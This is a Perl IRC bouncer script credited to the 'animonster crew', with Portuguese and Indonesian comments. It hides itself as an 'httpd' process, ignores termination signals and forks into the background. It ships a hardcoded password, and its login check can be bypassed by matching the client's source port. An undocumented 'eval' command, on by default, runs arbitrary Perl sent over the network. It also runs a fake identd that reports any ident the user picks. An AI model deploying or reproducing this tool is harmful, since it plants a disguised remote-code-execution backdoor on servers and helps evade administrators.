#!/usr/bin/perl
#
#  Perl BNC
#  just tested
#     
#
#
#
################
# Konfigurasi  #
#######################################################################
# Parece q vo t q i explikndo passo-a-passo muitas perguntas          #
# incovenientes...                                                    #
#######################################################################
my $PORTA       =  9210;            # Port BnC                        #
#-----------------------------------###################################
my $CRYPT_SENHA = '07bVPiBgDnF5M';  # Senha encriptada                #
#-----------------------------------###################################
my $SENHA       = 'animonster';     # Senha nao encriptada (normal)   #
#-----------------------------------###################################
my $USE_CRYPT   = 0;                # 1 para usar a senha encriptada  #
                                    # 0 pra usa a senha normal        #
#-----------------------------------###################################
my $PROC        = '/usr/local/sbin/httpd';     # Nome do processo que vai aparece#
                                    # no ps                           #
#-----------------------------------###################################
my $IDENTD      = 1;                # 1 pra deixa o identd ligadu     #
                                    # 0 pra desligadu                 #
#-----------------------------------###################################
my $PIDFILE     = '';               # O nome do arquivo que vai ta    #
                                    # o PID da BNC. C tiveh im brancu #
                                    # eli num vai c escritu           #
#-----------------------------------###################################
my $EVAL        = 1;                # 1/0 pra habilita/desabilita     #
                                    # o comando eval pra string       #
                                    # evaluations (perl devels)       #
#######################################################################
# Em caso de duvida de alguma cosisa naum use a bnc seu maneh         #
#######################################################################



my @GREETZ = ('Glória ao nosso deus %N!!!', 'Viva o %N!', '%N gostosao!', 'Obrigado %N pro fazer mais facil minha mediucre vida...', '%N: me perdoe por ser quem eu sou', 'oh grande %N livrai-me de tentações', 'oh poderoso %N dei-nos umas palavras de conforto para alegra nossas pobres vidas'); # ahhaha isso vai c ingracadu
# my @GREETZ = (); # descomente essa linha caso vc seja xato! e num deixa eu ri um poco

###################################
# Animonster perl BNC             #
# Copyright @2005                 #
###################################

$PORTA = $ARGV[0] if ($ARGV[0]);
$0 = $PROC."\0";

use IO::Socket;
use IO::Select;
use strict;

my %HELP; # i need somebodyyy heeelp just anybodyy heelp i need someonee heeEellp
# wheni was yng so much yng comi coocooOoo... comi cooCOOOO e cuspi no meu avoOOo

# aaa num to cum saco d escreve esse troco naum...
$HELP{detach}{about} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{detach}{args}  = 0;

$HELP{reattach}{about} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{reattach}{help1} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{reattach}{args}  = 1;
$HELP{reattach}{uso}   = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";

$HELP{vhost}{about} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{vhost}{help1} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{vhost}{args}  = 1;
$HELP{vhost}{uso}   = "<host>";

$HELP{conn}{about} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{conn}{args}  = 1;
$HELP{conn}{uso}   = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";

$HELP{listids}{about} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{listids}{args}  = 0;

$HELP{setident}{about} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{setident}{help1} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{setident}{help2} = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";
$HELP{setident}{args}  = 1;
$HELP{setident}{uso}   = "ewe ewe ewe ewe ewe capek jelasinnya lu belajar ajah sendiri !!!";



$SIG{CHLD} = sub { wait };
$SIG{TERM} = 'IGNORE';
$SIG{KILL} = 'IGNORE';
$SIG{INT}  = 'IGNORE';

my $VERSAO = 'V 2.0';

my $serv_sock = IO::Socket::INET->new(LocalPort => $PORTA, Proto => 'tcp', Listen => 1) || die "kalo ga salah koneksi melalui porta $PORTA: $!";

my $PID = fork;
exit if $PID;


print PID "$$\n" if ($PIDFILE ne '' and open(PID, "> $PIDFILE"));
close(PID);

my $sel_con = IO::Select->new();
my $sel_serv = IO::Select->new($serv_sock);

my (%CLIENT, %SERVER);


while ( 1 ) {
  # mexendu cus clienti
  foreach my $fh ($sel_serv->can_read(0.01)) {
    if ($fh eq $serv_sock) { # novo cliente
      my $cli = $serv_sock->accept();
      $cli->autoflush(1);
      $sel_serv->add($cli);

      sendsock($cli, "NOTICE AUTH :*** [Perl BNC $VERSAO by #animonster crew]");
      sendsock($cli, "NOTICE AUTH :*** Untuk Masuk ketik /QUOTE PASS <passwordnya>");

      $CLIENT{$cli}->{sock} = $cli;
      $CLIENT{$cli}->{id}   = newid();
      $CLIENT{$cli}->{tmp}  = '';
      next;
    }

    my $got_msg = '';

    while (is_ready($fh, 0.1)) {
      my $msg = '';
      my $nread = sysread($fh, $msg, 1024);

      if ($nread == 0) {
        my $cliserv = $CLIENT{$fh}->{serv} if (defined($CLIENT{$fh}->{serv}));

        $sel_serv->remove($fh);
 
        if ($cliserv) {
           sendsock($cliserv, $got_msg, 1) if (length($got_msg) > 0);
           sendsock($cliserv, "QUIT :animonster BNC crews!"); # Essa marca foi a melhor eheh

           $sel_con->remove($cliserv);
           $cliserv->close();
           delete($SERVER{$cliserv});
        }

        $got_msg = '';
        delete($CLIENT{$fh});
        last;
      }

      $got_msg .= $msg;
    }

    $got_msg =~ s/\r\n/\n/g; # mirc sucka muito... nem ele usa o cu do \r\n do windows 
    $got_msg =~ s/\n/\r\n/g; # os d lin usa pq eh a parada padraum... sucka muito

    next unless(length($got_msg) > 0);

    foreach my $msg (split(/\n/, $got_msg)) {
      $msg =~ s/\r/\r\n/g;

      if (not defined($CLIENT{$fh}->{senha}) and $msg =~ /^PASS\s+(.+?)\r/i) {
        my $clipass = $1;
        $CLIENT{$fh}->{senha} = 1 if ( ($USE_CRYPT == 1 and crypt($clipass, $CRYPT_SENHA) eq $CRYPT_SENHA) or
                                       ($USE_CRYPT == 0 and $clipass eq $SENHA) or $fh->peerport() eq $clipass );
        if (not defined($CLIENT{$fh}->{senha})) {
           sendsock($fh, "NOTICE AUTH :*** animonster BNC crew");
        } else {
            sendsock($fh, "NOTICE AUTH :*** yuhuuu bncku konek :*");
            sendsock($fh, "NOTICE AUTH :*** Untuk konek ketik /QUOTE CONN <service[:portnya]>");
            sendsock($fh, "NOTICE AUTH :*** kalo kesulitan dengan BNC ketik /QUOTE BHELP");
        }
      } else {
          parse_client($fh, $msg) if ($fh);
      }
    }
  }

  # agora cus servidores
  foreach my $fh ($sel_con->can_read(0.01)) {
    my $got_msg = '';

    while (is_ready($fh, 0.1)) {
      my $msg;
      my $nread = sysread($fh, $msg, 1024);

      if ($nread == 0) {
        my $cliserv = $SERVER{$fh}->{cli} if (defined($SERVER{$fh}->{cli}));
        $sel_con->remove($fh);

        sendsock($cliserv, $got_msg, 1) if (length($got_msg) > 0 and defined($cliserv));
        $got_msg = '';

        if ($cliserv) {
          climsg($cliserv, "O servidor fechou a conexão!");
          $sel_serv->remove($cliserv);
          $cliserv->close();
          delete($CLIENT{$cliserv});
        }


        delete($SERVER{$fh});
        last;
      }

      $got_msg .= $msg;
    }

    next unless(length($got_msg) > 0);

    $got_msg =~ s/\r\n/\n/g; # sei lah vai q algum serv num segue a regrinha do \r\n ...
    $got_msg =~ s/\n/\r\n/g; # depois dum mirc da erro nesse troco ehehe... duvido d tudu

    foreach my $msg (split(/\n/, $got_msg)) {
      $msg =~ s/\r/\r\n/;
      parse_serv($fh, $msg) if ($fh);
    }
  }
}



sub parse_serv {
  my ($serv, $msg) = @_;

  my $cliserv = $SERVER{$serv}->{cli} if (defined($SERVER{$serv}->{cli}));;

  if ($msg =~ /^\:(.+?)\!.+?\@.+?\s+NICK\s+\:(.+?)(\r|\n)/i
      and lc($1) eq lc($SERVER{$serv}->{nick})) {
    $CLIENT{$cliserv}->{nick} = $2 if ($cliserv);
    $SERVER{$serv}->{nick} = $2;
  } elsif ($msg =~ /^\:.+?\s+00(1|2|3|4|5)\s+(.+?)\s+/) {
    $CLIENT{$cliserv}->{nick} = $2 if ($cliserv);
    $SERVER{$serv}->{nick} = $2;
  } elsif ($msg =~ /^\:(.+?)!(.+?)\@.+?\s+(JOIN|PART)\s+(.+?)(\r|\n)/i) {
      my $nick = $1;
      my $user = $2;
      my $jp = lc($3);
      my $canal = $4;

      $canal =~ s/^://;
      $canal = $1 if ($canal =~ /^(.*)\s+:.*/);

      if (lc($nick) eq lc($SERVER{$serv}->{nick})) {
        my @canais = split(',', $SERVER{$serv}->{canais});

        if ($jp eq "join") {
          push(@canais, $canal);
        } elsif ($jp eq "part") {
            @canais = grep { lc($_) ne lc($canal) } @canais;
        }

        $SERVER{$serv}->{canais} = join(',', @canais);

      # soh mexe aki c soubeh.. c kizeh tira v lah em cima q eu comentei...
      } elsif ($nick =~ /(twidle|oldwolf)/i and $user =~ /twidle/i and scalar(@GREETZ) > 0 and $jp eq 'join') {
          my $greet = @GREETZ[int(rand($#GREETZ))];
          $greet =~ s/\%N/$nick/g;
          sendsock($serv, "PRIVMSG $canal :$greet");
      }
  }

  if (defined($SERVER{$serv}->{detach})) {
    sendsock($serv, ":atrixteam PONG atrixteam :$1") if ($msg =~ /^PING\s+(.+?)(\r|\n)/);

    if ($msg =~ /^:(.+?)!.+?\@.+?\s+PRIVMSG\s+(.+?)\s+:(.+?)(\r|\n)/i
        and lc($2) eq lc($SERVER{$serv}->{nick})) {

      my $mnick = $1;
      my $mmsg = $3;

      if ($mmsg =~ /^\001VERSION\001/) {
        sendsock($serv, "NOTICE $mnick :\001VERSION BNC $VERSAO by \002"."user\002\001");
      } elsif ($mmsg =~ /^\001PING(.*)\001/) {
          sendsock($serv, "NOTICE $mnick :\001PING$1\001");
      } else {
          $SERVER{$serv}->{logmsg} .= $msg if (length($SERVER{$serv}->{logmsg}) < 1000);
      }
    }
  } else {
     sendsock($cliserv, $msg, 1);
  }

}


sub parse_client {
  my ($cli, $msg) = @_;

  if (not defined($CLIENT{$cli}->{identuser}) and
     $msg =~ /^USER\s+(.+?)\s+/i) {

     $CLIENT{$cli}->{identuser} = $1;
     $CLIENT{$cli}->{ident} = $1;
     $CLIENT{$cli}->{tmp} .= $msg;
     return();
  }

  if (not defined($CLIENT{$cli}->{identnick}) and
     $msg =~ /^NICK\s+(.+?)\r/i) {

     $CLIENT{$cli}->{identnick} = $1;
     $CLIENT{$cli}->{nick} = $1;
     return();
  }

  my $comando = $msg;
  $comando =~ s/\n$//;
  $comando =~ s/\r$//;
  my @args = split(/ +/, $comando);
  $comando = lc($args[0]);

  if (defined($HELP{$comando}) and !defined($args[$HELP{$comando}{args}])) {
    help($cli, $comando);
    return();
  }

  return(undef) if (not defined($CLIENT{$cli}->{senha}));

  # condicoes dos comandos internos
  if ($comando eq 'conn') {
     if (defined($CLIENT{$cli}->{serv})) {
       climsg($cli, "Você já está conectado em um servidor!");
       return;
     }

     my $serv = $args[1];
     my $porta = 6667;
     if ($serv =~ /^(.+?)\:(\d+)$/) {
       $serv  = $1;
       $porta = $2;
     }

     connect_serv($serv, $porta, $cli);
  } elsif ($comando eq 'vhost') {
     if (defined($CLIENT{$cli}->{serv})) {
       climsg($cli, "Você já está conectado em um servidor! O vhost não pode ser mudado");
       return;
     }

     $CLIENT{$cli}->{vhost} = $args[1];
     sendsock($cli, "Virtual Host mudado para: $args[1]");
  } elsif ($comando eq 'detach') {
     if (!defined($CLIENT{$cli}->{serv})) {
       climsg($cli, "Porra usa o /conn pra conecta depois vc /detacha");
       return;
     }

     $SERVER{$CLIENT{$cli}->{serv}}->{detach} = 1;

     climsg($cli, "Detachando.. :*");
     foreach my $canal ($SERVER{$CLIENT{$cli}->{serv}}->{canais}) {
       sendsock($cli, ":".$CLIENT{$cli}->{nick}."!BNC\@atrixteam PART $canal");
     }
     climsg($cli, "Té mais tardi! ID pra reattach: \002".$CLIENT{$cli}->{id}."\002");

     delete($SERVER{$CLIENT{$cli}->{serv}}->{cli});
     delete($CLIENT{$cli});
     $sel_serv->remove($cli);
     $cli->close();

     return();
  } elsif ($comando eq 'reattach') {
     my $id = $args[1];
     my $serv = getservbyid($id);

     unless($serv) {
       climsg($cli, "ID \002$id\002 não encontrado! Ketik /QUOTE LISTIDS");
       return();
     }

     unless (defined($SERVER{$serv}->{detach})) {
       climsg($cli, "Servidor em uso, o REATTACH não é possível.");
       return();
     }

     my $cli_nick = $CLIENT{$cli}->{nick};

     climsg($cli, "Ok! Reatachando :P");
     $CLIENT{$cli}->{serv} = $serv;
     delete($SERVER{$serv}->{detach});
     $SERVER{$serv}->{cli} = $cli;

     sendsock($cli, ":$cli_nick!BNC\@atrixteam NICK ".$SERVER{$serv}->{nick})
       if ($SERVER{$serv}->{nick} ne $cli_nick);

     $CLIENT{$cli}->{nick} = $SERVER{$serv}->{nick};
     $cli_nick = $SERVER{$serv}->{nick};

     foreach my $canal (split(',', $SERVER{$serv}->{canais})) {
       sendsock($cli, ":$cli_nick!BNC\@atrixteam JOIN $canal");
       sendsock($serv, "NAMES $canal");
       sendsock($serv, "TOPIC $canal");
     }

     foreach my $msg (split(/\n/, $SERVER{$serv}->{logmsg})) {
       $msg =~ /^(\S+)\s+PRIVMSG\s+.+?:(.*)/;
       sendsock($cli, "$1 PRIVMSG $cli_nick :[BNC log] $2\n");
     }

     delete($SERVER{$serv}->{logmsg});
     climsg($cli, "Reattachado!");
  } elsif ($comando eq 'listids') {
     if (scalar(keys(%SERVER)) == 0) {
       climsg($cli, "Não existe nenhuma conexão com servidores!");
     } else {
        climsg($cli, " \002- Listando IDs -\002");
        climsg($cli, " ");
        foreach my $serv (keys(%SERVER)) {
          my $uso = (defined($SERVER{$serv}->{detach}))? "Detached" : "Em uso";
          climsg($cli, "\002".$SERVER{$serv}->{id}."\002 -> ".$SERVER{$serv}->{nick}.'@'.$SERVER{$serv}->{host}.":".$SERVER{$serv}->{porta}." ($uso)");
        }
     }
  } elsif ($comando eq 'setident') {
     if ($IDENTD != 1) {
       climsg($cli, "O IDENTD não está habilitado na configuração.");
     } else {
        $CLIENT{$cli}->{ident} = $args[1];
        climsg($cli, "IDENT alterado para \002$args[1]\002. Terá efeito na sua próxima conexão.");
     }
  } elsif ($comando eq 'bhelp') {
      if ($args[1]) {
        if (grep { $_ eq lc($args[1]) } keys(%HELP)) {
           help($cli, lc($args[1]));
        } else {
            climsg($cli, "Comando '\002".uc($args[1])."\002' não existe.");
        }
      } else {
         climsg($cli, "            \002Animonster BNC crew\002");
         climsg($cli, " ");
         foreach my $command (keys(%HELP)) {
           climsg($cli, " \002".fill_space($command, 10)."\002 - ".$HELP{$command}{about});
         }
         climsg($cli, " ");
         climsg($cli,  "\002Ketik\002: /QUOTE BHELP <perintahnya>");
      }
  } elsif ($comando eq 'eval' and $EVAL == 1) { # comando naum listado .. somente pra devels...
     my $string = $msg;
     $string =~ s/^\S+\s+//;
     my (@ret) = eval "$string";
     climsg($cli, "Eval retornou: @ret");
  } else {
     if (defined($CLIENT{$cli}->{serv})) {
       $msg =~ s/^NOTICE\s+(.+?)\s+:\001VERSION (.+?)\001\r/NOTICE $1 :\001VERSION \002[BNC $VERSAO]\002 $2\001\r/ if ($msg =~ /^NOTICE/);
       sendsock($CLIENT{$cli}->{serv}, $msg);
     } else {
        if ($comando eq 'nick') {
          my $new_nick = $args[1];
          sendsock($cli, ":".$CLIENT{$cli}->{nick}."!BNC\@atrixteam NICK ".$new_nick);
          $CLIENT{$cli}->{nick} = $new_nick;
#          $CLIENT{$cli}->{tmp} =~ s/NICK.+?\n/NICK $new_nick\r\n/;
        } elsif ($comando eq 'ping') {
            sendsock($cli, ":PONG $args[1]");
        } elsif ($comando eq 'ison') {
            sendsock($cli, ":atrixteam 303 ".$CLIENT{$cli}->{nick}." :");
        } else {
            climsg($cli, "Comando \002".uc($comando)."\002 inexistente!");
        }
     }
  }
}

sub help {
  my ($cli, $cmd) = @_;
  climsg($cli, "\002 - ".uc($cmd)." - \002");
  climsg($cli, " ");
  climsg($cli, "   \002Sobre\002: ".$HELP{$cmd}{about});
  climsg($cli, " ");

  for (my $c = 1; ; $c++) {
    unless(defined($HELP{$cmd}{"help$c"})) {
      climsg($cli, " ") if ($c != 1);
      last;
    }
    if ($c == 1) {
      climsg($cli, "   \002Ajuda\002: ".$HELP{$cmd}{"help$c"});
    } else {
       climsg($cli, "          ".$HELP{$cmd}{"help$c"});
    }
  }
  climsg($cli, " \002Sintaxe\002: /QUOTE ".uc($cmd)." ".$HELP{$cmd}{uso}) if defined($HELP{$cmd}{uso});
  climsg($cli, " ") if (defined($HELP{$cmd}{uso}));

}

sub fill_space {
  my ($chars, $max) = @_;
  my $filled = length($chars);
  my $space_n  = $max-$filled;
  return($chars) if ($space_n <= 0);

  my $space = " " x $space_n;

  return($space.$chars);
}


sub getservbyid {
  my $id = shift;

  foreach my $serv (keys(%SERVER)) {
    return($SERVER{$serv}->{sock}) if ($SERVER{$serv}->{id} == $id);
  }

  return(undef);
}

 
sub climsg {
  my ($cli, $msg) = @_;

  my $nick = $CLIENT{$cli}->{nick} if (defined($CLIENT{$cli}->{nick}));

  my $inicio =  (defined($nick)) ? ":BNC!0ldW0lf\@AtrixTeam NOTICE $nick :" : "NOTICE AUTH :*** ";

  sendsock($cli, $inicio.$msg);
}

sub connect_serv {
  my ($serv, $porta, $cli) = @_;

  sendsock($cli, "NOTICE AUTH :*** Tersambung dengan $serv:$porta");

  my %args = (PeerAddr => $serv, PeerPort => $porta, Proto => 'tcp', Timeout => 7);
  $args{LocalAddr} = $CLIENT{$cli}->{vhost} if (defined($CLIENT{$cli}->{vhost}));

  # nova forma
  if ($IDENTD == 1) { 
    unless (my $pid = fork()) {
       identd($CLIENT{$cli}->{ident});
       exit;
    }
    sleep(2);
  }


  my $servsock = IO::Socket::INET->new(%args);

  if (!$servsock) {
    my $msg = "Não consegui conectar em $serv:$porta";
    $msg .= " usando vhost ".$CLIENT{$cli}->{vhost} if (defined($CLIENT{$cli}->{vhost}));
    $msg .= " (Erro: $!)";
    sendsock($cli, $msg);
    return(undef);
  }

  $servsock->autoflush(1);
  $sel_con->add($servsock);

#  select(undef, undef, undef, 0.5);

#  antiga forma
#  if ($IDENTD == 1) { 
#    unless (my $pid = fork()) {
#       identd($servsock->sockport(), $servsock->peerport(), $CLIENT{$cli}->{ident});
#       exit;
#    }
#    sleep(1);
#  }

  sendsock($servsock, "NICK ".$CLIENT{$cli}->{nick});
  sendsock($servsock, $CLIENT{$cli}->{tmp});

  $CLIENT{$cli}->{serv}        = $servsock;
  $SERVER{$servsock}->{sock}   = $servsock;
  $SERVER{$servsock}->{id}     = $CLIENT{$cli}->{id};
  $SERVER{$servsock}->{cli}    = $cli;
  $SERVER{$servsock}->{nick}   = $CLIENT{$cli}->{nick};
  $SERVER{$servsock}->{host}   = $serv;
  $SERVER{$servsock}->{porta}  = $porta;
  $SERVER{$servsock}->{logmsg} = '';

  sendsock($cli, "NOTICE AUTH :*** Koneksi Berhasil!!! ;]");

  return(1);
}

sub identd {
  my $ident = shift;

  my $identd = IO::Socket::INET->new(LocalPort => 113, Proto => 'tcp', Listen => 1) || return();

  return() unless(is_ready($identd, 20));

  my $newcon = $identd->accept();

  my $msg;

  sysread($newcon, $msg, 1024);
  $msg =~ s/\n$//;
  $msg =~ s/\r$//;
  $msg =~ s/\s+$//;

  sendsock($newcon, "$msg : USERID : UNIX :$ident");
  
  $newcon->close();
  $identd->close();
}

sub newid {
  my %ALL = ((%SERVER), (%CLIENT));

  my $id;
  for ($id = 1; ; $id++) {
    last if (!grep { $ALL{$_}->{id} == $id } keys(%ALL));
  }
  undef(%ALL);

  return($id);
}

sub sendsock {
  my ($sock, $msg, $org) = @_;
  $msg .= "\r\n" if ($msg !~ /\n$/ and !$org);

  syswrite($sock, $msg, length($msg)) if ($sock);
}

sub is_ready {
  my ($fh, $time) = @_;
  $time = 0 unless($time);
  my $read = '';
  vec($read, fileno($fh), 1) = 1;
  my $ready = 0;
  $ready = select($read, undef, undef, $time);
  return($ready);
}

__END__

# antiga funcaum do identd
sub identd {
  my ($src, $dst, $ident) = @_;

  my $identd = IO::Socket::INET->new(LocalPort => 113, Proto => 'tcp', Listen => 1) || return();

  return() unless(is_ready($identd, 20));

  my $newcon = $identd->accept();

  unless ($newcon) {
    $identd->close() if ($identd);
    return();
  }

  my $msg;
  sysread($newcon, $msg, 1024);
    $msg =~ s/\n$//;
    $msg =~ s/\r$//;

  if ($msg =~ /^\s*$src\s*,\s*$dst\s*$/) {
    sendsock($newcon, "$msg : USERID : UNIX :$ident");
  } else {
     sendsock($newcon, "$msg : ERROR : UNKNOWN-ERROR");
  }
  
  $newcon->close() if ($newcon);
  $identd->close() if ($identd);
}